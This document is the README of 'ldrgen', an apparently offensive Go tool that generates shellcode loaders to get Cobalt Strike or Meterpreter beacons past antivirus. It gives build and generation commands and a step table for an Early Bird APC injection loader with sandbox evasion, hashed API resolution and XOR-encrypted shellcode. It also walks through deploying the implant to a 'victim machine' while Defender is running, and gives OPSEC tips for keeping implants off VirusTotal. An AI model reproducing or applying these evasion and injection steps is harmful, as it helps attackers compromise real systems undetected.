ldrgen
ldrgen is a golang cli tool for rapid generation of shellcode loaders using pre-defined templates.
⚠️ this tool is meant to help with running beacon from disk, this does not help with evasion for memory scans or post-exploitation- OPSEC considerations are up to the discretion of the operator.
Getting Started
There are available binaries on the releases page, or you can build from source for the latest version.
Releases
Standalone binaries are available, however you will need a templates directory to be ingested by the generator. You can find the latest templates from source here or it should be included as a zip file in the release.
Templates are expected to be in the same directory as where the binary is executed, but you can specify with the --template flag.
Building from Source
cd ldrgen/src
make build
cd bin
ldrgen --help
Usage
The concept of this tool is quite simple, you provide raw shellcode, as well as a loader token, and the tool will generate the loader source code file for you.
Calculator Shellcode
This example will use the CreateThread loader token and boku7's null-free calculator shellcode.
./ldrgen generate --template [path_to_template_folder] --bin [path_to_shellcode] --output [path_to_output_folder] --loader CreateThread
The source code of the loader will be generated in the specified output folder along with a generic makefile to build the loader, or you can build it yourself.
make [x64 | x86]
Transfer the implant to your Windows machine, and execute the loader.
Usage for AV Evasion
The main purpose of this tool is to help with AV evasion especially when compiling loaders for very highly signatured beacons (e.g cobalt strike, meterpreter), or running post-exploitation tools from disk without being nuked by AV.
The following examples will use the loader token EarlyBirdAPC_Buffed which uses the following techniques (in order):
✅ All WinAPI function calls are dynamically resolved at runtime from a calculated hash unless otherwise stated, see hash.py for more information on the hashing algorithm.
Early Bird APC via CreateProcessW & QueueUserAPC
| Step | Action | Details | Source |
|---|---|---|---|
| 1 | Sandbox Evasion | Counts to 10000000000, taking ~30-45 seconds. |
EarlyBirdAPC_Buffed.c |
| 2 | API Resolution | Dynamically resolves WinAPIs from kernel32.dll. |
|
| 3 | Process Creation | Spawns a process (${ PNAME }) in a suspended state using CreateProcessW. |
EarlyBirdAPC_Buffed.c - Line 213 |
| 4 | Memory Allocation | Allocates RWX memory in the suspended process with VirtualAllocEx, size: ${ SHELLCODE_SIZE }. |
Shellcode.c - Line 3 |
| 5 | Shellcode Decryption | XOR decrypts the shellcode in memory with key ${ KEY }. Uses Xor.c for decryption. |
EarlyBirdAPC_Buffed.c - Line 236 |
| 6 | Write Shellcode | Writes the shellcode buffer to the allocated memory using WriteProcessMemory. |
Shellcode.c - Line 2 |
| 7 | Queue APC | Queues an APC to the suspended thread, resumes it, and waits for process exit with WaitForSingleObject. |
|
| 8 | Cleanup | Cleans up allocated memory and closes handles. |
Cobalt Strike Beacon
The following is usage of ldrgen to generate a loader for Cobalt Strike's beacon using the EarlyBirdAPC_Buffed token.
⚠️ In this example, Windows Defender (9/1/2024) is enabled and up-to-date.
- Generate the beacon shellcode
-
Generate the loader
ldrgen-linux-x64 generate --template ../../templates --bin payload_x64.bin --output implants --loader EarlyBirdAPC_Buffed --enc xor --args "key=2adc118cdd0ae, pname=C:\\\Windows\\\system32\\\cmd.exe" Loader -> EarlyBirdAPC_Buffed Encoding Type -> xor Key: -> 2adc118cdd0ae Process Name -> C:\\Windows\\system32\\cmd.exe -
Compile the loader
cd implants && make x64 -
Transfer implant to victim machine, and execute the loader.
-
Check that beacon callback was successful.
⚠️ OPSEC Note: The beacon used and generated has no in memory evasion and will 100% be killed if you trigger a memory scan or perform any OPSEC unsafe actions.
VT
don't upload your implants to VT if you intend to reuse your implants
https://www.virustotal.com/gui/file/6ff98356931564a9a49f390a9f1bffe032adc118cdd0ae5347c11d63004e362e











